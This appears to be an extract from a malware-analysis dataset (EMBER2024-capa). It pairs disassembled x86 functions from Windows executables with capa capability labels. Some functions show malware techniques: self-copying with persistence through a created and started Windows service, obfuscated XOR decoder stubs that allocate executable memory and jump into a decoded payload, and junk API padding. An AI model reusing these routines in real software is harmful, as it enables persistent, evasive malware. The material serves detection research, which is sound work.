joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406820
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fc8
call fcn.00407b80
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b7c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x4068c3
push 0x1ec0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054b3
push 0x13000
push esi
call fcn.00404e60
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e88], ebx
mov edi, 0x491974
je 0x40691a
push esi
push edi
push 0x491a78
push closesocket
call fcn.0040451c
push 1
push str._IAw_yK
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.SWK
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406913
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406924
xor eax, eax
jmp 0x406999
cmp dword [0x491e88], ebx
je 0x406937
push ebx
push esi
call fcn.004046b3
pop ecx
pop ecx
jmp 0x406996
cmp dword [0x491e90], ebx
jne 0x406996
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc8
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40633c
pop dword [ebp - 8]
mov eax, 0x40633c
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xb67184c7
add dword [ebp - 0x18], 0x97e0c084
mov dword [ebp - 0x14], 0x8fa677db
add dword [ebp - 0x14], 0xa28cd46a
mov dword [ebp - 0x10], 0xfa735f06
sub dword [ebp - 0x10], 0xae271ad8
mov dword [ebp - 0xc], 0x104433b8
add dword [ebp - 0xc], 0xefbbcc48
lea eax, [ebp - 0x18]
push eax
mov eax, 0x75e33c2a
sub eax, 0x75a2cbca
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x91a8819b
sub dword [ebp - 0x18], 0x1d361845
mov dword [ebp - 0x14], 0xa78e0119
sub dword [ebp - 0x14], 0x66219fa4
mov dword [ebp - 0x10], 0xb59017c6
add dword [ebp - 0x10], 0xaddf54a6
mov dword [ebp - 0xc], 0xda7d4aa
sub dword [ebp - 0xc], 0xda7d4aa
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x36905
push 0
call eax
mov ecx, 0x47c8
mov esi, eax
mov edi, 0xc26224ad
sub edi, 0xc22124ad
add edi, dword [ebp - 8]
mov edx, 0xa53928c
sub edx, 0xb90a5264
add dword [ebp - 4], edx
mov ebx, dword [edi]
xor dword [ebp - 4], eax
sub ebx, edx
add dword [ebp - 4], 0xdae8d2d9
mov dword [esi], ebx
xor dword [ebp - 4], esi
add esi, 4
add edi, 0x4549be11
sub edi, 0x4549be0d
loop 0x40644e
add eax, 0xcca1d60c
add eax, 0x335f3be7
mov ebx, eax
add eax, 0xcfff5df6
sub eax, 0xcfff5df1
mov ecx, 0x3ceb6cbd
add ecx, 0xc3549343
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x402d90
Capabilities:
Accept command line arguments
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov ebx, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov esi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 8]
mov eax, dword [edx + 0x3c]
cmp word [edx + eax + 0x5c], 2
sete dl
movzx edx, dl
add edx, 1
mov dword [esp], edx
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call 0x402e00
mov dword [esp], eax
call sub.ucrtbase.dll_exit
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x402e96
cmp ax, 9
je 0x402e84
cmp ax, 0x20
je 0x402e84
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp ax, 0x5c
je 0x402ef0
cmp ax, 0x22
je 0x402f00
mov dword [ebp - 0x6c], 0
add ebx, 2
movzx eax, word [ebx]
test ax, ax
je 0x402e96
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x402e40
test edi, 1
jne 0x402e40
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x402e84
cmp ax, 0x20
je 0x402e84
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
je 0x402f12
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00402240
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
add dword [ebp - 0x6c], 1
jmp 0x402e5b
and dword [ebp - 0x6c], 1
jne 0x402e54
xor edi, 1
jmp 0x402e5b
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
jmp 0x402eaf
Function at 0x402e00
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov ebx, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov esi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 8]
mov eax, dword [edx + 0x3c]
cmp word [edx + eax + 0x5c], 2
sete dl
movzx edx, dl
add edx, 1
mov dword [esp], edx
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call 0x402e00
mov dword [esp], eax
call sub.ucrtbase.dll_exit
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x402e96
cmp ax, 9
je 0x402e84
cmp ax, 0x20
je 0x402e84
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp ax, 0x5c
je 0x402ef0
cmp ax, 0x22
je 0x402f00
mov dword [ebp - 0x6c], 0
add ebx, 2
movzx eax, word [ebx]
test ax, ax
je 0x402e96
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x402e40
test edi, 1
jne 0x402e40
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x402e84
cmp ax, 0x20
je 0x402e84
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
je 0x402f12
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00402240
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
add dword [ebp - 0x6c], 1
jmp 0x402e5b
and dword [ebp - 0x6c], 1
jne 0x402e54
xor edi, 1
jmp 0x402e5b
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
jmp 0x402eaf
Function at 0x4240f4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4240fa
ret

Function at 0x4417d0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47ecc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [fcn.004804f4]
push 0
lea ecx, [esp + 0x20]
call fcn.004789dc
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00441130
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0047890a
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004751fc
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004751fc
push 1
push 0
push 0

Function at 0x441950
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47ece8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004789dc
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00441130
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0047890a
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [fcn.004804f4]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne fcn.00441a14
cmp dword [esp + 0x40], 1
jne 0x441a12
Function at 0x412769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x416190
cmp edx, dword [eax]
je 0x41278b
add eax, 8
inc ecx
cmp eax, 0x416220
jl 0x41277c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x416190]
jne 0x4128b9
mov eax, dword [0x416bb0]
cmp eax, 1
je 0x412893
test eax, eax
jne 0x4127bc
cmp dword [0x4160e4], 1
je 0x412893
cmp edx, 0xfc
je 0x4128b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4127f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00413670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00413490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x412836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00413490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41545c
push edi
call fcn.00413f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00413670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00413680
lea eax, [ebp - 0xa0]
push 0x41543c
push eax
call fcn.00413680
push dword [esi + 0x416194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00413680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00413e75
add esp, 0x2c
pop edi
jmp 0x4128b9
lea eax, [ebp + 8]
lea esi, [esi + 0x416194]
push 0
push eax
push dword [esi]
call fcn.00413490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x401a6f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
call sub.kernel32.dll_GetCommandLineA
mov dword [0x404f48], eax
add ebp, 8
mov dword [0x404123], ebp
sub ebp, 8
mov dword [0x404f4c], 0x30
mov dword [0x404f50], 3
mov dword [0x404f58], 0
mov dword [0x404f5c], 0
mov dword [0x404f54], 0x402a60
mov eax, dword [0x40411b]
mov dword [0x404f60], eax
mov dword [0x404f6c], 0x10
mov dword [0x404f74], 0x404108
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [0x404f64], eax
mov dword [0x404f78], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [0x404f68], eax
push 0x404f4c
call sub.user32.dll_RegisterClassExA
push 0
push dword [0x40411b]
push 0
push 0
push 0xc8
push 0x12c
push 0x50
push 0x190
push 0xc0000
push str.Hello_from_Win32
push str.Class1
push 0
call sub.user32.dll_CreateWindowExA
mov dword [0x404f40], eax
push 0
push dword [0x404f40]
call sub.user32.dll_ShowWindow
push dword [0x404f40]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
push 0x404f7c
call sub.user32.dll_GetMessageA
or eax, eax
je 0x401b83
push 0x404f7c
call sub.user32.dll_TranslateMessage
push 0x404f7c
call sub.user32.dll_DispatchMessageA
jmp 0x401b59
mov eax, dword [0x404f84]
mov esi, dword [0x404fdc]
lea ecx, [0x40411b]
add esi, eax
call esi
mov eax, dword [0x404f84]
push eax
call sub.kernel32.dll_ExitProcess
int3
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x4028f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x402901
pop dword [ebp - 0x20]
mov eax, 0x17b718fe
sub eax, 0x1776effd
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x26f7736f
add dword [ebp - 0x30], 0x275ad1dc
mov dword [ebp - 0x2c], 0xee442b22
add dword [ebp - 0x2c], 0x43ef2123
mov dword [ebp - 0x28], 0x93163b
add dword [ebp - 0x28], 0x4bb92df3
mov dword [ebp - 0x24], 0xac809791
sub dword [ebp - 0x24], 0xac809791
lea eax, [ebp - 0x30]
push eax
mov eax, 0x5d4d16c6
sub eax, 0x5d0c467a
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x2f7e4abd
add dword [ebp - 0x30], 0x44f41e99
mov dword [ebp - 0x2c], 0xd4bb3274
add dword [ebp - 0x2c], 0x6cb12f01
mov dword [ebp - 0x28], 0xe158cd0b
add dword [ebp - 0x28], 0x82169f61
mov dword [ebp - 0x24], 0x32666815
sub dword [ebp - 0x24], 0x32666815
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3aea3
push 0
call eax
mov ecx, 0xa514eae3
add ecx, 0x5aeb62f7
xor ebx, ebx
add ebx, eax
mov edx, 0x41b000
add edx, dword [ebp - 0x20]
mov edi, 0x21506f21
sub edi, 0x807903db
sub dword [ebp - 4], 0xc14a10cc
mov esi, dword [edx]
xor dword [ebp - 0x1c], 0x557638e6
xor esi, edi
sub dword [ebp - 0x18], 0x5e54989
mov dword [ebx], esi
xor dword [ebp - 4], esi
add ebx, 0xd470c9d3
sub ebx, 0xd470c9cf
add edx, 0x8e09920d
sub edx, 0x8e099209
loop 0x402a1a
add eax, 0x12a3b
mov ebx, eax
add eax, 0x75628cbd
sub eax, 0x75628cb8
mov ecx, 0x6dd06e8d
add ecx, 0x926f9173
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401bbf
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push edi
mov edi, eax
push str.PyImport_ImportModule
push edi
call esi
push str.PyObject_SetAttrString
push edi
mov ebx, eax
call esi
push str.PyObject_GetAttrString
push edi
mov dword [ebp - 0xc], eax
call esi
push str.PyCFunction_New
push edi
mov dword [ebp - 4], eax
call esi
push str.Py_BuildValue
push edi
mov dword [ebp - 8], eax
call esi
push str.PyArg_ParseTuple
push edi
mov dword [ebp - 0x10], eax
call esi
push str.PyErr_Format
push edi
mov dword [ebp - 0x14], eax
call esi
push str.PyLong_FromVoidPtr
push edi
mov dword [ebp - 0x18], eax
call esi
xor esi, esi
mov dword [ebp - 0x1c], eax
cmp ebx, esi
je 0x401cc6
cmp dword [ebp - 4], esi
je 0x401cc6
cmp dword [ebp - 0xc], esi
je 0x401cc6
cmp dword [ebp - 8], esi
je 0x401cc6
cmp dword [ebp - 0x10], esi
je 0x401cc6
cmp dword [ebp - 0x14], esi
je 0x401cc6
cmp dword [ebp - 0x18], esi
je 0x401cc6
push str.builtins
call ebx
mov edi, eax
pop ecx
cmp edi, esi
je 0x401ca2
push str.ValueError
push edi
call dword [ebp - 4]
push str.OSError
push edi
mov dword [0x43259c], eax
call dword [ebp - 4]
add esp, 0x10
push 6
mov dword [0x432924], eax
mov esi, 0x42f0e8
pop ebx
push 0
push esi
call dword [ebp - 8]
push eax
push dword [esi]
push edi
call dword [ebp - 0xc]
add esp, 0x14
add esi, 0x10
dec ebx
jne 0x401c8c
mov eax, dword [ebp - 0x10]
mov dword [0x432810], eax
mov eax, dword [ebp - 0x14]
mov dword [0x431544], eax
mov eax, dword [ebp - 0x18]
mov dword [0x431548], eax
mov eax, dword [ebp - 0x1c]
mov dword [0x43258c], eax
xor eax, eax
jmp 0x401cc9
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401cce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401cdd
pop dword [ebp - 0x18]
mov eax, 0xe49c6b84
sub eax, 0xe45c4ea7
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3b5cb
push 0
mov eax, 0xc6c0e827
add eax, 0x398169f1
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x446342be
sub ecx, 0x4463046a
mov edx, eax
mov esi, 0x9c227c09
add esi, 0x6420d7f7
add esi, dword [ebp - 0x18]
mov ebx, 0x2da2238f
add ebx, 0x52720bb
xor dword [ebp - 0x14], edx
mov edi, dword [esi]
mov dword [ebp - 4], 0x2d8248e4
add edi, ebx
xor dword [ebp - 0x10], 0x7caf029e
mov dword [edx], edi
add dword [ebp - 4], 0x3486e8ed
add edx, 4
add esi, 4
loop 0x401d3c
add eax, 0xec23
xor ebx, ebx
add ebx, eax
add eax, 0x6bcdfe92
sub eax, 0x6bcdfe8d
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40a050
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b6d68]
jne 0x40a05a
repz ret
jmp fcn.0040c2cc

Function at 0x40b662
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4b6d68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040583e
and dword [ebp - 0x14], 0
cmp dword [0x4ba2e0], 0
mov dword [ebp - 0x18], eax
jne 0x40b715
push 0x402adc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b7bd
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ad0
push ebx
call edi
test eax, eax
je 0x40b7bd
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402ac0
push ebx
mov dword [0x4ba2e0], eax
call edi
push eax
call esi
push 0x402aac
push ebx
mov dword [0x4ba2e4], eax
call edi
push eax
call esi
push 0x402a90
push ebx
mov dword [0x4ba2e8], eax
call edi
push eax
call esi
mov dword [0x4ba2f0], eax
test eax, eax
je 0x40b715
push 0x402a78
push ebx
call edi
push eax
call esi
mov dword [0x4ba2ec], eax
mov eax, dword [0x4ba2ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b76e
cmp dword [0x4ba2f0], ecx
je 0x40b76e
push eax
call esi
push dword [0x4ba2f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b76e
test ebx, ebx
je 0x40b76e
call edi
test eax, eax
je 0x40b765
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b765
test byte [ebp - 8], 1
jne 0x40b76e
or dword [ebp + 0x10], 0x200000
jmp 0x40b7a1
mov eax, dword [0x4ba2e4]
cmp eax, dword [ebp - 0x18]
je 0x40b7a1
push eax
call esi
test eax, eax
je 0x40b7a1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b7a1
mov eax, dword [0x4ba2e8]
cmp eax, dword [ebp - 0x18]
je 0x40b7a1
push eax
call esi
test eax, eax
je 0x40b7a1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4ba2e0]
call esi
test eax, eax
je 0x40b7bd
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b7bf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a050
leave
ret
Function at 0x49dc10
Capabilities:
Accept command line arguments
Delete directory
Get common file path
Write file on windows

Disassembly:
mov eax, 0x1820
call fcn.0040c510
cmp dword [0x22fc25c], 0x37
jne 0x49dccf
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x403298
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x824]
push eax
push 0x4032d0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0x1020]
push edx
push 0
push 0x403364
push 0x403394
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x4033b4
push 0x4033bc
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x22fc260]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x4bf3ec]
mov byte [eax + esi], dl
add esp, 0x1820
ret

Function at 0x49dd00
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x60
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx]
mov edx, dword [0x4b6f44]
push ebx
push ebp
push esi
mov esi, dword [ecx + 4]
mov ecx, dword [0x4b6f40]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x4b6f48]
mov dword [esp + 0x20], edx
mov edx, dword [0x4b6f4c]
push edi
mov dword [esp + 0x14], eax
mov edi, 0xc6ef3720
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov ebp, 0x20
jmp 0x49dd54
mov eax, dword [esp + 0x14]
mov ecx, eax
shr ecx, 5
add ecx, dword [esp + 0x18]
mov edx, eax
shl edx, 4
add edx, dword [esp + 0x1c]
add eax, edi
xor ecx, edx
xor ecx, eax
sub esi, ecx
mov ecx, esi
shl ecx, 4
mov dword [0x22f220c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x20]
add dword [esp + 0x10], eax
cmp dword [0x22fc25c], 0x1be
lea ebx, [edi + esi]
jne 0x49dda9
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, esi
shr eax, 5
add eax, dword [esp + 0x24]
mov dword [0x22f2210], 0xff6b3619
xor eax, ebx
xor dword [esp + 0x10], eax
mov dword [0x22f2214], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
add edi, 0x61c88647
dec ebp
jne 0x49dd50
cmp dword [0x22fc25c], 0x8d4
jne 0x49de0f
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x60
ret 4
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x60
ret 4